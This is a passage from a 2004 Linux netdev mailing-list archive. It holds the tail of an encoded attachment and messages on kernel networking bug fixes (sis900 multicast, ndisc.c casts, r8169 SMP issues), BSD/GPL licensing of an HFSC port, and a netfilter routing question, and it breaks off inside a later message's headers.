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 Tud0Tud0Tud0Tud0Tud0Tv9v6b80etOFAPAAAA== --168432911-1581342244-1075151997=:7894-- From yoshfuji@linux-ipv6.org Mon Jan 26 14:01:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 14:01:17 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QM137J000376 for ; Mon, 26 Jan 2004 14:01:03 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 8FEEE33CA5; Tue, 27 Jan 2004 07:01:42 +0900 (JST) Date: Tue, 27 Jan 2004 07:01:42 +0900 (JST) Message-Id: <20040127.070142.93371828.yoshfuji@linux-ipv6.org> To: davem@redhat.com, acme@conectiva.com.br Cc: erik@hensema.net, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: FIX From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040126.123042.104046496.davem@redhat.com> References: <20040124131307.GB2666@bender.home.hensema.net> <20040126.123042.104046496.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2820 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040126.123042.104046496.davem@redhat.com> (at Mon, 26 Jan 2004 12:30:42 -0800 (PST)), "David S. Miller" says: > > Ok, I've figured out the bug. Arnaldo only fixed one of the > two incorrect calls to sk_add_node() which should both be > __sk_add_node(). Thanks you! -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From jgarzik@pobox.com Mon Jan 26 14:22:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 14:23:21 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QMMv7J001753 for ; Mon, 26 Jan 2004 14:22:58 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:49327 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AlF8B-0002UO-OD; Mon, 26 Jan 2004 22:22:55 +0000 Message-ID: <40159331.80808@pobox.com> Date: Mon, 26 Jan 2004 17:22:41 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Joseph Fannin CC: netdev@oss.sgi.com Subject: Re: 2.6 sis900 (and tlan?) multicast bug References: <20040126204215.GA25578@rivenstone.net> In-Reply-To: <20040126204215.GA25578@rivenstone.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2821 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Joseph Fannin wrote: > "Craig A. Huegen" wrote: > >>In the same vein as: >>http://seclists.org/lists/linux-kernel/2003/Oct/5794.html > > >>...there is a bug in the SiS900 driver in 2.6.1 which prevents multicast >>MAC filtering from working properly. This breaks IPv6. > > > I'm seeing this problem too. My sis900 interface can't get an > IPv6 address unless promiscious or allmulti mode is set, since it > doesn't get responses on ip6-allrouters. > > Please note that I am not subscribed to netdev, so a CC on any > responses would be appreciated. > > >>Patch attached (same one as from the 2.4 post from Oct 28) that made >>IPv6 work for me again. > > > From the original post, referring to the change this reverts: > > >>>This will not work for bit_nr larger than 16 and hence the failure. >>>Reverting to use set_bit causes multicast to be handled properly. > > >>--- linux/drivers/net/sis900.c.old 2004-01-17 03:56:53.893211412 -0600 >>+++ linux/drivers/net/sis900.c 2004-01-17 03:57:02.785567615 -0600 >>@@ -2091,9 +2091,8 @@ >> rx_mode = RFAAB; >> for (i = 0, mclist = net_dev->mc_list; mclist && i < net_dev->mc_count; >> i++, mclist = mclist->next) { >>- unsigned int bit_nr = >>- sis900_mcast_bitnr(mclist->dmi_addr, revision); >>- mc_filter[bit_nr >> 4] |= (1 << bit_nr); >>+ set_bit(sis900_mcast_bitnr(mclist->dmi_addr, revision), >>+ mc_filter); >> } >> } > > > This fix didn't go into 2.4 either, so presumably something is wrong > with it (perhaps we're moving away from set_bit)? I am over my head > here really, but I don't want to just set allmulti mode and forget > about this bug. Correct, set_bit should only occur on unsigned long variables. So, the code needs to manually set that bit. Jeff From wsx@6com.sk Mon Jan 26 14:44:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 14:44:34 -0800 (PST) Received: from mail.6com.sk (cement.ksp.edi.fmph.uniba.sk [158.195.16.151] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QMiJ7J002658 for ; Mon, 26 Jan 2004 14:44:20 -0800 Received: by mail.6com.sk (Postfix, from userid 501) id B7AF34C0008A; Mon, 26 Jan 2004 23:44:10 +0100 (CET) Date: Mon, 26 Jan 2004 23:44:10 +0100 From: Jan Oravec To: akpm@osdl.org Cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: [patch 6/18] gcc-3.5: ipv6/ndisc.c fixes Message-ID: <20040126224410.GA8133@wsx.ksp.sk> Reply-To: Jan Oravec References: <200401251107.i0PB7Go25072@mail.osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200401251107.i0PB7Go25072@mail.osdl.org> User-Agent: Mutt/1.4.1i X-Operating-System: UNIX X-archive-position: 2822 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jan.oravec@6com.sk Precedence: bulk X-list: netdev Isn't syntax like: > - skb->h.raw = (unsigned char*) msg = (struct nd_msg *) skb_put(skb, len); > + skb->h.raw = (unsigned char*) (msg = (struct nd_msg *) skb_put(skb, len)); accepted in gcc-3.5 ? The warning was about casting msg to unsigned char* and then assigning right side into that expression with casts. I wonder the old code did not produce warnings in gcc-3.3; it assigned to unsigned char* variable a struct nd_msg* variable. Jan On Sun, Jan 25, 2004 at 03:07:16AM -0800, akpm@osdl.org wrote: > > > net/ipv6/ndisc.c: In function `ndisc_send_na': > net/ipv6/ndisc.c:478: warning: use of cast expressions as lvalues is deprecated > > > > --- > > net/ipv6/ndisc.c | 12 ++++++++---- > 1 files changed, 8 insertions(+), 4 deletions(-) > > diff -puN net/ipv6/ndisc.c~gcc-35-ip6-ndisc-fix net/ipv6/ndisc.c > --- 25/net/ipv6/ndisc.c~gcc-35-ip6-ndisc-fix 2004-01-19 13:36:19.000000000 -0800 > +++ 25-akpm/net/ipv6/ndisc.c 2004-01-19 13:36:19.000000000 -0800 > @@ -475,7 +475,8 @@ static void ndisc_send_na(struct net_dev > skb_reserve(skb, (dev->hard_header_len + 15) & ~15); > ip6_nd_hdr(sk, skb, dev, src_addr, daddr, IPPROTO_ICMPV6, len); > > - skb->h.raw = (unsigned char*) msg = (struct nd_msg *) skb_put(skb, len); > + msg = (struct nd_msg *)skb_put(skb, len); > + skb->h.raw = (unsigned char*)msg; > > msg->icmph.icmp6_type = NDISC_NEIGHBOUR_ADVERTISEMENT; > msg->icmph.icmp6_code = 0; > @@ -559,7 +560,8 @@ void ndisc_send_ns(struct net_device *de > skb_reserve(skb, (dev->hard_header_len + 15) & ~15); > ip6_nd_hdr(sk, skb, dev, saddr, daddr, IPPROTO_ICMPV6, len); > > - skb->h.raw = (unsigned char*) msg = (struct nd_msg *)skb_put(skb, len); > + msg = (struct nd_msg *)skb_put(skb, len); > + skb->h.raw = (unsigned char*)msg; > msg->icmph.icmp6_type = NDISC_NEIGHBOUR_SOLICITATION; > msg->icmph.icmp6_code = 0; > msg->icmph.icmp6_cksum = 0; > @@ -630,7 +632,8 @@ void ndisc_send_rs(struct net_device *de > skb_reserve(skb, (dev->hard_header_len + 15) & ~15); > ip6_nd_hdr(sk, skb, dev, saddr, daddr, IPPROTO_ICMPV6, len); > > - skb->h.raw = (unsigned char*) hdr = (struct icmp6hdr *) skb_put(skb, len); > + hdr = (struct icmp6hdr *)skb_put(skb, len); > + skb->h.raw = (unsigned char*)hdr; > hdr->icmp6_type = NDISC_ROUTER_SOLICITATION; > hdr->icmp6_code = 0; > hdr->icmp6_cksum = 0; > @@ -1374,7 +1377,8 @@ void ndisc_send_redirect(struct sk_buff > ip6_nd_hdr(sk, buff, dev, &saddr_buf, &skb->nh.ipv6h->saddr, > IPPROTO_ICMPV6, len); > > - buff->h.raw = (unsigned char*) icmph = (struct icmp6hdr *) skb_put(buff, len); > + icmph = (struct icmp6hdr *)skb_put(buff, len); > + buff->h.raw = (unsigned char*)icmph; > > memset(icmph, 0, sizeof(struct icmp6hdr)); > icmph->icmp6_type = NDISC_REDIRECT; > > _ > From romieu@fr.zoreil.com Mon Jan 26 14:59:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 15:00:10 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QMxt7J003818 for ; Mon, 26 Jan 2004 14:59:56 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0QMtxgf004369; Mon, 26 Jan 2004 23:55:59 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0QMtxOL004368; Mon, 26 Jan 2004 23:55:59 +0100 Date: Mon, 26 Jan 2004 23:55:59 +0100 From: Francois Romieu To: bhartin@straus-frank.com Cc: netdev@oss.sgi.com Subject: Re: r8169, 2.6.2-rc2, Sager 4780 laptop Message-ID: <20040126235559.A3832@electric-eye.fr.zoreil.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from bhartin@straus-frank.com on Mon, Jan 26, 2004 at 03:19:57PM -0600 X-Organisation: Land of Sunshine Inc. X-archive-position: 2824 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 1257 Lines: 37 bhartin@straus-frank.com : [...] > Attached is a tar.gz containing the outputs you request in your README, > plus 'lspci -v' output and my .config for the kernel. This data was > collected from a fresh 2.6.2-rc2 bootup, using your full set of 2.6.2-rc1 > patches, manually doing a 'modprobe r8169' once booted up. The system is > running a P4 with HT enabled, with an SMP kernel. There has been report of non-regression on non-SMP kernel with the following patches applied (2.6.2-rc1 serie): r8169-tx-index-overflow.patch r8169-dma-api-tx.patch r8169-dma-api-rx-buffers.patch r8169-dma-api-tx-buffers.patch r8169-rx_copybreak.patch r8169-mac-phy-version.patch r8169-init_one.patch r8169-timer.patch r8169-hw_start.patch r8169-intr_mask.patch r8169-suspend.patch r8169-endianness.patch r8169-getstats.patch Can you confirm that the driver behaves the same as the standard driver with a non-SMP enabled kernel ? Does it make a difference if you give an 'acpi=off' option at boot time ? r8169-addr-high.patch is not doing its job on amd64 so it is not suggested to use it at all. There is something broken wrt SMP and the r8169 patches: do not use both at the same time. I still have to find what happens here. -- Ueimor From jamie@shareable.org Mon Jan 26 16:00:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 16:00:20 -0800 (PST) Received: from mail.shareable.org (mail.shareable.org [81.29.64.88]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0R0037J005720 for ; Mon, 26 Jan 2004 16:00:06 -0800 Received: from mail.shareable.org (localhost [127.0.0.1]) by mail.shareable.org (8.12.8/8.12.8) with ESMTP id i0QNxwnq030277; Mon, 26 Jan 2004 23:59:58 GMT Received: (from jamie@localhost) by mail.shareable.org (8.12.8/8.12.8/Submit) id i0QNxvXV030275; Mon, 26 Jan 2004 23:59:57 GMT Date: Mon, 26 Jan 2004 23:59:57 +0000 From: Jamie Lokier To: Patrick McHardy Cc: hadi@cyberus.ca, netdev@oss.sgi.com, linux-net@vger.kernel.org, "David S. Miller" Subject: Re: [PATCH]: altq HFSC port Message-ID: <20040126235957.GA30186@mail.shareable.org> References: <1075128375.1746.392.camel@jzny.localdomain> <40155F1A.7070507@trash.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40155F1A.7070507@trash.net> User-Agent: Mutt/1.4.1i X-archive-position: 2825 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jamie@shareable.org Precedence: bulk X-list: netdev Content-Length: 2335 Lines: 46 Patrick McHardy wrote: > I talked to the original authors and they removed the advertising > clause > (http://orange.kame.net/dev/cvsweb.cgi/kame/kame/sys/altq/altq_hfsc.c), > but they didn't want to release the code under the GPL. Various posts on > linux-kernel indicate that combining GPL code with BSD code without > advertising clause makes the end-product automatically be subject to the > GPL, even without consent of the authors. I basically meant to ask if > this is true. Yes, the end-product Linux kernel (the combined work) is subject to the GPL. You _do_ have the consent of the authors: their decision to release under the BSD-without-advertising license _is_ consent to incorporate it into a GPL work, just as it is consent to incorporate it into a closed source work. Asking for their blessing is politeness. When the authors release the code under the BSD-without-advertising clause, they are declaring that it's ok to use the code in lots of different ways. One of those is that it's ok to re-release the code under GPL - the authors may not like that, but they have explicitly declared that you may to do it. You can do that. Alternatively you can keep the code licensed under BSD-without-advertising. When you combine BSD-without-advertising code with GPL code, the resulting combined work is covered by both licenses, and because the BSD-without-advertising permissions are a superset of the GPL permissions, the combined work is effectively covered by the GPL. However, the BSD-without-advertising code retains its own license, and provided it remains an "identifiable section" of the program and "can be reasonably considered independent and separate" in itself, then anyone may copy that code from the combined work and use it according to the BSD-without-advertising license. See clause 2, paragraph 5 of the GPL. Unfortunately it is not 100% clear on this matter. Whether that code remains independent and separate will depend on the changes made and the licensing of patches, which is a grey area because people don't tend to make the licensing of Linux patches clear. Most likely, as soon as people make changes to the code within the context of Linux development, it may be assumed that the derived work (the hfsc code + patches from Linux authors) is covered by the GPL. Btw, IANAL. -- Jamie From laforge@netfilter.org Mon Jan 26 17:57:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 17:57:53 -0800 (PST) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0R1vc7J013138 for ; Mon, 26 Jan 2004 17:57:39 -0800 Received: from [192.168.200.2] (helo=sunbeam.gnumonks.org) by coruscant.gnumonks.org with esmtp (TLSv1:RC4-SHA:128) (Exim 4.20) id 1AlITv-00019L-Bd; Tue, 27 Jan 2004 02:57:36 +0100 Received: from laforge by sunbeam.gnumonks.org with local (Exim 4.22) id 1AlIOO-0002tO-D1; Tue, 27 Jan 2004 02:51:52 +0100 Date: Tue, 27 Jan 2004 02:51:52 +0100 From: Harald Welte To: Thhoep Cc: netfilter@lists.netfilter.org, netdev@oss.sgi.com, Netfilter Development Mailinglist Subject: Re: Problem using fwmarks as routing key: "MASQUERADE: Route sent us somewhere else." Message-ID: <20040127015152.GP19250@sunbeam.de.gnumonks.org> Mail-Followup-To: Harald Welte , Thhoep , netfilter@lists.netfilter.org, netdev@oss.sgi.com, Netfilter Development Mailinglist References: <001c01c3e043$93583cd0$1684188d@Kiste> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="FcSpk3Icpd/Pbul4" Content-Disposition: inline In-Reply-To: <001c01c3e043$93583cd0$1684188d@Kiste> User-Agent: Mutt/1.5.4i X-Spam-Score: 0.0 (/) X-archive-position: 2827 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev Content-Length: 1738 Lines: 48 --FcSpk3Icpd/Pbul4 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Jan 21, 2004 at 06:25:22PM +0100, Thhoep wrote: > hi, >=20 > my aim: to divide 100 hosts upon 6 masqueraded adsl connections to the > internet using a linux router runnig a debian woody. >=20 > the problem: really strange behaviour of the routing/masquerading combo, > that changes with every tried kernel version. (described below) >=20 > presumption: some version mismatch or a bug in the kernel routing code, > which needs a bugfix that till now is unknown to me Please read the recent archives of the netdev list with regard to "Rusty's brain broke". Also see=20 https://bugzilla.netfilter.org/cgi-bin/bugzilla/show_bug.cgi?id=3D144 Alexey heavily argued against us reverting that change, however :( --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --FcSpk3Icpd/Pbul4 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQFAFcQ4XaXGVTD0i/8RAsKqAJ0Q9QW37doao1sqR2PoEhUH+fVqyQCgp0vM jwRf5NBu0ZGXvns9H02A6f4= =/1Gy -----END PGP SIGNATURE----- --FcSpk3Icpd/Pbul4-- From acme@conectiva.com.br Mon Jan 26 18:40:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 18:40:49 -0800 (PST) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0R2eW7J014800 for ; Mon, 26 Jan 2004 18:40:33 -0800 Received: 